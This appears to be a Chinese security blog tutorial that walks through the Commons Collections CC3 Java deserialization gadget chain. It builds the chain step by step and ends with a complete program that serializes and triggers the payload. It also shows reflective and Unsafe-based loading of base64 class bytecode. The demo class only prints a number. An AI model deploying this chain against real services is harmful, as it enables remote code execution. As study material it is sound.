cc链之cc3分析

admin 2024年4月18日02:10:09评论4 views字数 20666阅读68分53秒阅读模式

cc链之cc3分析

 免责声明
请您仔细阅读以下声明:
您在AtomsTeam查看信息以及使用AtomsTeam服务,表明您对以下内容的接受:
AtomsTeam提供程序(方法)可能带有攻击性,仅供安全研究与实验性教学之用。
用户将其信息做其他用途,由用户承担全部法律及连带责任,AtomsTeam不承担任何法律及连带责任。
与此同时,希望你能遵守如下的规范,因为这能帮助你走的更远:
1.不在没有直接或间接授权的情况下,对公网的任何设施进行安全检测。
2.在测试的过程中,不做任何可能导致业务遇到干扰的动作。
3.任何的测试中,不查看与下载任何敏感的数据。
4.发现漏洞后,第一时间通过企业SRC进行报告。
5.不在目标站点使用后门类工具,如需必要的测试,请获取目标网站官方授权,测试可通过替代的方案(如webshell替换为phpinfo页面等)。

参考:

哔哩哔哩up主-白日梦组长

https://space.bilibili.com/2142877265/

注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。

这边注意一个东西

package loder;

public class demo {

  String test;

  static {
      System.out.println(11111);
  }
}

然后再另一个类

new demo();事就会执行demo类中的静态代码块

Class c = Class.forName("loder.demo");也会执行静态代码块

Class c = demo.class; 这个不会 他只是做出了加载 并不是初始化

总结:静态代码块是在类初始化的时候执行的,比如实例化类的时候(构造代码块也会)

深入,Class.forName("loder.demo") 为什么也会执行

cc链之cc3分析

可以看见给了forName0

cc链之cc3分析

这是native就是c写的 看不到里面的代码 第二个参数就是是否初始化

cc链之cc3分析

可以看见上边有个重载方法,接收三个参数,一个是类名,还有一个就是是否初始化,还有一个就是类加载器

cc链之cc3分析

初始化设为false就不会进行初始化了就没有调用静态代码块,

ClassLoader.getSystemClassLoader()是系统类加载器

继续深入

cc链之cc3分析

这个时候就会调用静态代码块,因为初始化了

这里可以想 我可不可以不用Class.forName呢因为他的底层也是类加载器,试试用类加载器

cc链之cc3分析

发现用loadClass也可以加载对应的类,newInstance()可以实例化

类加载器:

ClassLoader的子类

ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

调用:

loadClass->findClass->defineCLass(从字节码加载类)

这里边的URLClassLoader可以直接从url中获取字节码并加载为类

public static void main(String[] args) throws Exception {
      URL[] urls = {new URL("http://127.0.0.1:8000/")};
      URLClassLoader urlClassLoader = URLClassLoader.newInstance(urls);
      Class<?> aClass = urlClassLoader.loadClass("halloword");
      aClass.newInstance();
  }

就像这样从http://127.0.0.1:8000/中获取类文件夹 然后用loadclass加载字节码

为啥这样写可以找到halloword.class

cc链之cc3分析

其实是这样的他会给halloword后边加上.class

总结:URLClassLoader可以实现远程任意类加载(http/file/jar 这几个协议都可以)

jar的话就是 jar:http://xxxx:xxx/xxx.jar!/  然后loadClass对应的类就好

那如果不出网呢,这个时候可以用更底下的

defineClass来做,这个是直接把字节码加载为对象的

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

      byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\demo\demo\target\classes\demo.class"));

      Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
      method.setAccessible(true);
      Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
      demo.newInstance();

看着是不是不直观,那如果把对象base64编码 然后直接去加载呢

编码:

FileOutputStream fileOutputStream = new FileOutputStream("1.txt");
fileOutputStream.write(Base64.getEncoder().encode(b));

把结果直接复制出来:

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
      byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");
      Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
      method.setAccessible(true);
      Class demo = (Class) method.invoke(classLoader, "demo", b, 0, b.length);
      demo.newInstance();

这样也是可以的哦

那除了ClassLoader还有哪有defineClass呢,其实是有的

Unfase类

但是他是受保护的

cc链之cc3分析

cc链之cc3分析

但是是可以通过theUnsafe参数获得,只不过得用反射

        ClassLoader classLoader = ClassLoader.getSystemClassLoader();
      byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");

      Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
      declaredField.setAccessible(true);
      Unsafe o = (Unsafe) declaredField.get(null);
      Class<?> aClass = o.defineClass("demo", b, 0, b.length, classLoader, null);
      aClass.newInstance();

就像这样就是ok的

其实也可以不要classloader

        byte[] b = Base64.getDecoder().decode("yv66vgAAADQAHQoABQAQCQARABIKABMAFAcAFQcAFgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGRlbW87AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAJZGVtby5qYXZhDAAGAAcHABcMABgAGQcAGgwAGwAcAQAEZGVtbwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BAAQoSSlWACEABAAFAAAAAAACAAEABgAHAAEACAAAAC8AAQABAAAABSq3AAGxAAAAAgAJAAAABgABAAAAAQAKAAAADAABAAAABQALAAwAAAAIAA0ABwABAAgAAAAmAAIAAAAAAAqyAAIRK2e2AAOxAAAAAQAJAAAACgACAAAABAAJAAUAAQAOAAAAAgAP");

      Field declaredField = Unsafe.class.getDeclaredField("theUnsafe");
      declaredField.setAccessible(true);
      Unsafe o = (Unsafe) declaredField.get(null);
      Class<?> aClass = o.defineClass("demo", b, 0, b.length, null, null);
      aClass.newInstance();

classloder和安全域都可以为空

这个就是相当方便了,不需要用runtime这个类,而且很灵活,很多漏洞也都是通过这个。

现在开始试试

有一个类叫做com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这里边有一个方法

defineTransletClasses

cc链之cc3分析

里边就有个很熟悉的东西defineClass,而且这里边的东西还是可控的

如果让他加载一个恶意的字节码,然后再实例化岂不是yyds

看看_bytecodes是咋写的

cc链之cc3分析

就是个二维数组 那我就把恶意代码加到二维数组然后实例化它不就ok了

 TemplatesImpl templates = new TemplatesImpl();

      byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
      byte[][] bytes = {b};

      Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
      bytecodes.setAccessible(true);
      bytecodes.set(templates,bytes);


      Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
      method.setAccessible(true);
      Object invoke = method.invoke(templates, null);

报错了

cc链之cc3分析

看看原因,不能为空,他是这个

cc链之cc3分析

cc链之cc3分析

那就给他赋值呗

是个数组 给他这个类型的数组就ok

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);


Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
method.setAccessible(true);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Object invoke = method.invoke(templates, null);

正常运行后就加载了字节码并且把加载的字节码给了_class[i] 结合上下文应该是_class[0]

所以通过反射获取这个属性,然后实例化就会执行静态代码块中的内容

cc链之cc3分析

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);


Method method = TemplatesImpl.class.getDeclaredMethod("defineTransletClasses");
method.setAccessible(true);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Object invoke = method.invoke(templates, null);
Field declaredField = templates.getClass().getDeclaredField("_class");
declaredField.setAccessible(true);
Class[] classes = (Class[]) declaredField.get(templates);
classes[0].newInstance();

但是这样没用,你要打人家肯定不是直接改人家代码吧,所以去找找哪里对它实例化了

就在这时发现了

cc链之cc3分析

getTransletInstance这里实例化了,并且调用了defineTransletClasses方法

cc链之cc3分析

所以由此可以看出走到getTransletInstance这个方法他会调用defineTransletClasses加载传入的字节码

defineTransletClasses的这个位置要注意,因为只有满足superClass.getName().equals(ABSTRACT_TRANSLET)才会把当前数组的下标给_transletIndex,才可以在实例化时实例化对应的数组,可能会讲通过反射,按理说是可以的

cc链之cc3分析

但是,不满足他会直接报错,所以还是老老实实看看这是啥

cc链之cc3分析

superClass是当前加载的字节码的父类,所以字节码让他继承ABSTRACT_TRANSLET的值就好

com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

cc链之cc3分析

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class demo extends AbstractTranslet {
public demo() {
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
System.out.println(11111);
}
}

所以现在只需要调用getTransletInstance就ok

这里注意一个地方

cc链之cc3分析

_name不能为空的不然直接return了

他是普通的string

成功

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

Method method = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");
method.setAccessible(true);
method.invoke(templates);

但是呢getTransletInstance他是私有的也没有别处调用,只有一处调用它

cc链之cc3分析

就是这里,直接试试

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

templates.newTransformer();

完全ok,十分合适,他也是public权限十分方便现在直接去找,有没有哪又调用了他,最好是直接在readObject方法里

cc链之cc3分析

发现还真有一处可以的,是在org.apache.xalan.transformer.TrAXFilter#TrAXFilter的构造方法

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");

new TrAXFilter(templates);

所以直接这样,但是呢并没有找到合适的调用TrAXFilter方法的地方,这可怎么办呢

其实这里有一个思路,就是通过InvokerTransformer去,但是这样的话就使用了InvokerTransformer这样没有必要

还有一个牛逼思路呢,就是前辈们发现的其实构造函数可以通过反射去实例化

Constructor constructor = TrAXFilter.class.getConstructor(new Class[]{Templates.class});
constructor.newInstance(templates);

所以此时就去找newInstance就ok

就这样,牛逼的前辈们发现了一处地方

org.apache.commons.collections.functors.InstantiateTransformer#transform

cc链之cc3分析

这个方法

Constructor con = ((Class) input).getConstructor(iParamTypes);

先看看这个是啥,它是不是就是反射实例化,iParamTypes可控,给他一个new Class[]{Templates.class},iArgs的话给他一个templates,不就欧克了,input给他一个TrAXFilter.class

构造函数私有的

cc链之cc3分析

但是可以通过这个属性获得

cc链之cc3分析

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});

instantiateTransformer.transform(TrAXFilter.class);

这样就ok,这样就只需要调用transform就行,是不是相当熟悉了,直接可以拿cc6的payload粘进去

还是一步步来,通过LazyMap

TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
outerMap.get(TrAXFilter.class);

然后通过TiedMapEntry

TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
//outerMap.get(TrAXFilter.class);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
tiedMapEntry.getValue();

然后跟着cc6的思路继续找

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
Map zzpayload = new HashMap<>();
zzpayload.put(tiedMapEntry,123);
ser(zzpayload);

原本是这个样子,但是会报错,导致无法序列化

cc链之cc3分析

cc链之cc3分析

说是在这里出了问题,大概是因为序列化时的那个put操作造成的,让他提前触发了,然后触发时大家也看见的会报错

之前cc6有提过,大概就是两种 一种改hashmap的key最后反射替换 还有种就是让他TiedMapEntry走不到lazymap 最后反射替换 cc6有细讲不太明白的兄弟们可以去康康

选择用第二种put完后再将tiedMapEntry的key设置为LazyMap

        TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;
Field iParamTypes = InstantiateTransformer.class.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});
Field iArgs = InstantiateTransformer.class.getDeclaredField("iArgs");
iArgs.setAccessible(true);
iArgs.set(instantiateTransformer,new Object[]{templates});
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, instantiateTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
Field key = TiedMapEntry.class.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry,TrAXFilter.class);
Map zzpayload = new HashMap<>();
zzpayload.put(tiedMapEntry,123);
factory.set(tiedMapEntry,outerMap);

ser(zzpayload);
unser("1.bin");

这样反序列化时就会直接

cc链之cc3分析

但是原版的不是这样,它使用了ChainedTransformer

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.xalan.transformer.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

byte[] b = Files.readAllBytes(Paths.get("G:\codesj\web\ysoserialA\target\classes\demo.class"));
byte[][] bytes = {b};

Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,bytes);

Field tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");;

InstantiateTransformer instantiateTransformer = (InstantiateTransformer) InstantiateTransformer.NO_ARG_INSTANCE;

Class instantiateTransformerClass = InstantiateTransformer.class;
Field iParamTypes = instantiateTransformerClass.getDeclaredField("iParamTypes");
iParamTypes.setAccessible(true);
iParamTypes.set(instantiateTransformer,new Class[]{Templates.class});

Field iArgs = instantiateTransformerClass.getDeclaredField("iArgs");
iArgs.setAccessible(true);
TemplatesImpl[] a = {templates};
iArgs.set(instantiateTransformer,a);


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(innerMap,null);
Map payload = new HashMap();
payload.put(tiedMapEntry,null);
Field factory = TiedMapEntry.class.getDeclaredField("map");
factory.setAccessible(true);
factory.set(tiedMapEntry,outerMap);

// ser(payload);

unser("1.bin");


}

public static void ser(Object object) throws IOException {
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("1.bin"));
oss.writeObject(object);
}

public static void unser(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream(filename));
Object obj = in.readObject();
}
//}


}

具体的和cc一样我大概讲一下hashmap的readObject中的value为null给

new ConstantTransformer(TrAXFilter.class)然后获得了TrAXFilter.class给instantiateTransformer的transformer 然后就是走各种流程了,对这个感兴趣的可以跟一下代码,网上分析也有很多,上边那条链是我踩着前辈肩膀尝试寻找的,没有用ConstantTransformer

唯一的ConstantTransformer是InstantiateTransformer

cc链之cc3分析

交流群:添加好友回复进群

cc链之cc3分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月18日02:10:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cc链之cc3分析http://cn-sec.com/archives/2667273.html

发表评论

匿名网友 填写信息